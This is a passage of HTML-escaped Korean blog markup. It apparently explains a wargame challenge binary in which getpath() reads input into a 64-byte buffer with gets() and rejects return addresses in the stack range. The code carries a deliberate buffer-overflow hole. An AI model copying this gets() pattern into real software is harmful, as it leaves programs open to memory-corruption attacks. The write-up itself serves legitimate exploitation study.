14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;__builtin_return_address(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((ret&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbf000000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbf000000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bzzzt&amp;nbsp;(%p)\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;ret);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;got&amp;nbsp;path&amp;nbsp;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;getpath();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: rgb(79, 79, 79);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align: bottom; padding: 0px 2px 4px 0px;&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;getpath() 함수를 호출한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;getpath();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char type array buffer를 64 byte를 정의한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unsigned int type ret을 정의한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;getpath()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;ret;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;input path please: &quot;를 출력하고, fflush()함수를 이용해 stdout을 비운다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets() 함수를 통해서, user로부터 buffer에 입력을 받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;__builtin_return_address(0) 함수의 설명은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;This function returns the return address of the current function, or of one of its callers.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;__builtin_return_address() 함수는 RET(EIP)를 return 하는 함수&lt;/span&gt;이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RET(EIP)를 ret에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;input&amp;nbsp;path&amp;nbsp;please:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;fflush(stdout);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;__builtin_return_address(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 ret이 stack 영역(0xbfxxxxxx)을 사용하고 있다면 &quot;bzzzt ret\n&quot;을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;got path buffer\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 